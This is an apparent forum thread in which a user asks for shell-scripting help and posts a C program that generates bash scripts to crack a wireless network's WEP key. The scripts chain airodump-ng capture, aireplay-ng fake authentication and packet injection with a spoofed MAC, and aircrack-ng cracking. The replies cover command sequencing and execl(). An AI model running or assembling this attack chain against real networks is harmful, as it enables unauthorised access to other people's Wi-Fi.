Thread: #!/bin/bash question

I'm curious if anyone here has any idea how to write a 'shell script' that will open multiple shells and execute commands within each shell.
And then if so, how to make your C program that configures your shell script to execute it upon completion?

PS Im familure with the general working of makeing a shell script, I know how to start them with the !#/bin/bash and to make them executable, just need to know how to make it open several "windows" or shells and do commands in each one,

Every command inside a shell script is exec'd in a sub-shell - a new (child) shell that is forked by the shell script.

Here's what's going on. I wrote this program, and I would like it to write all the commands to one shell script, and execute each command in order, because the first command needs to finish before the second, and the second before the third, and so on. I understand how to put all the commands on one script file, but how do i get the commands to wait for the previous to finish?

Code:

#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *capture;
 capture=fopen("capture","w");
 fprintf(capture,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\n",channel,bssid,essid);
 fclose(capture);
 FILE *auth;
 auth=fopen("auth","w");
 fprintf(auth,"#!/bin/bash\n\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\n",essid,bssid);
 fclose(auth);
 FILE *inject;
 inject=fopen("inject","w");
 fprintf(inject,"#!/bin/bash\n\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\n",bssid);
 fclose(inject);
 FILE *crack;
 crack=fopen("crack","w");
 fprintf(crack,"#!/bin/bash\n\naircrack-ng -z -b %s %s*.cap\n",bssid,essid);
 fclose(crack);
 getchar();
 return 0;
}

Originally Posted by elsheepo

Here's what's going on. I wrote this program, and I would like it to write all the commands to one shell script, and execute each command in order, because the first command needs to finish before the second, and the second before the third, and so on. I understand how to put all the commands on one script file, but how do i get the commands to wait for the previous to finish?

That is the default whenever a shell script is executed. Each command inside a shell script is executed in turn. The command that comes after the current one in the sequence isn't executed until the current one has finished and the shebang line #!/bin/bash is usually the first line of a shell script. It is present only once and is by itself as in:

Code:

#!/bin/bash

echo "hello world!"
.
.
.

okay, so here is the same program, only having it output all commands onto one script file.

Code:

#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

but when i execute the script that it outputs

Code:

#!/bin/bash

airodump-ng -c 5 -d 00:11:22:33:44:55 -w test mon0
aireplay-ng -1 0 -e 'test' -a 00:11:22:33:44:55 -h 00:19:7E:71:C0:2D mon0
aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:19:7E:71:C0:2D mon0
aircrack-ng -z -b 00:11:22:33:44:55 test*.cap

as you can see the script was put together correctly, but the first command, airodump sticks and i cant see whats goin on with the rest of the commands

? could you please explain?

is there a way to execute shell scripts inside your C program?

Originally Posted by elsheepo

is there a way to execute shell scripts inside your C program?

yes! by calling it within execl()